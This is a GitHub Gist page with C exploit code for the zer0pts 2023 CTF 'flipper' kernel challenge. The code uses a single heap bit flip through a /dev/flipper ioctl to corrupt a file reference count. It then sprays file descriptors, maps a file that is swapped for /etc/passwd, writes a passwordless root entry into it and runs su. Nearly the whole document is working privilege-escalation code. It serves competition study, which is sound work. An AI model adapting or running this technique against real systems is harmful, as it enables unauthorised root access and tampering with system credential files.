Created
July 16, 2023 05:14
-
-
Save d4em0n/470bd48ab6c084be0239f29759cd8747 to your computer and use it in GitHub Desktop.
zer0pts 2023 flipper exploit: exploiting single bit flip inside kernel heap
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <sys/ioctl.h> | |
#include <stdio.h> | |
#include <string.h> | |
#include <stdlib.h> | |
#include <sys/mman.h> | |
#include <sys/resource.h> | |
#include <fcntl.h> | |
#include <err.h> | |
#include <sys/wait.h> | |
#include <sys/types.h> | |
#include <stdint.h> | |
#include <sys/timerfd.h> | |
#define CMD_ALLOC 0x13370000 | |
#define CMD_FLIP 0x13370001 | |
#define SYSCHK(x) ({ \ | |
typeof(x) __res = (x); \ | |
if (__res == (typeof(x))-1) \ | |
err(1, "SYSCHK(" #x ")"); \ | |
__res; \ | |
}) | |
char *r00t = "root::0:0:root:/root:/bin/sh\n"; | |
int fds[0x1000]; | |
int tfile[0x1000]; | |
char buf[0x1000]; | |
int timers[0x1000]; | |
int pipefd[2]; | |
int pipe2fd[2]; | |
int modfd; | |
#define NUM_SPRAY_FD 0xd00 | |
#define NUM_SPRAY_TIMER 0xf00 | |
int main() | |
{ | |
int i, victim_fd = -1; | |
system("echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /tmp/A"); | |
SYSCHK(pipe(pipefd)); | |
SYSCHK(pipe(pipe2fd)); | |
modfd = open("/dev/flipper", O_RDONLY); | |
printf("/dev/flipper fd: %d\n", modfd); | |
// simple & stupid heap shaping | |
for(i=0; i < NUM_SPRAY_TIMER; i++) | |
timers[i] = timerfd_create(CLOCK_REALTIME, 0); | |
for(i=NUM_SPRAY_TIMER-1; i >= 0x200; i--) | |
close(timers[i]); | |
sleep(1); | |
ioctl(modfd, CMD_ALLOC, 0x100); | |
for(i=0; i < NUM_SPRAY_FD; i++) { | |
fds[i] = open("/tmp/A", O_RDWR); | |
lseek(fds[i], 0x18, SEEK_SET); | |
} | |
if(fork() == 0) { // f_count 0b01 -> 0b10 | |
sleep(100000);exit(0); | |
} | |
if(fork() == 0) { // f_count 0b10 -> 0b11 | |
read(pipefd[0], buf, 1); // wait notif from parent | |
for(i=0; i<NUM_SPRAY_FD; i++) | |
close(fds[i]); | |
sleep(1); | |
for(i=0; i < NUM_SPRAY_FD; i++) { | |
fds[i] = open("/tmp/A", O_RDWR); | |
lseek(fds[i], 0x9, SEEK_SET); | |
} | |
write(pipe2fd[1], buf, 1); // send notif to parent | |
read(pipefd[0], buf, 1); // wait notif from parent | |
for(i=0; i<NUM_SPRAY_FD; i++) { | |
if(lseek(fds[i], 0, SEEK_CUR) == 0x0) { | |
printf("(child) found victim_fd: %d\n", fds[i]); | |
victim_fd = fds[i]; | |
continue; | |
} | |
if(i%2) close(fds[i]); | |
} | |
close(victim_fd); | |
sleep(1); | |
for(i=0; i < NUM_SPRAY_FD; i++) { // replace victim_fd with passwd | |
fds[i] = open("/etc/passwd", O_RDONLY); | |
} | |
write(pipe2fd[1], buf, 1); // send notif to parent | |
sleep(100000);exit(0); | |
} | |
ioctl(modfd, CMD_FLIP, 0x1000*8+0x38*8+1); // flip f_count 0b11 -> 0b01 | |
write(pipefd[1], buf, 1); // start freeing and reallocate hacked fd | |
read(pipe2fd[0], buf, 1); // wait child finish | |
for(i=0; i < NUM_SPRAY_FD; i++) { | |
int seek = lseek(fds[i], 0, SEEK_CUR); | |
if(seek == 0x9) { | |
printf("(parent) found victim_fd: %d\n", fds[i]); | |
lseek(fds[i], 0x0, SEEK_SET); | |
victim_fd = fds[i]; | |
break; | |
} | |
} | |
char *data = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, victim_fd, 0); | |
SYSCHK(data); | |
close(victim_fd); // close /tmp/A | |
write(pipefd[1], buf, 1); // start spray /etc/passwd | |
read(pipe2fd[0], buf, 1); // wait spray finish | |
printf("writing to readonly file\n"); | |
strcpy(data, r00t); | |
printf("done?\n"); | |
system("su"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment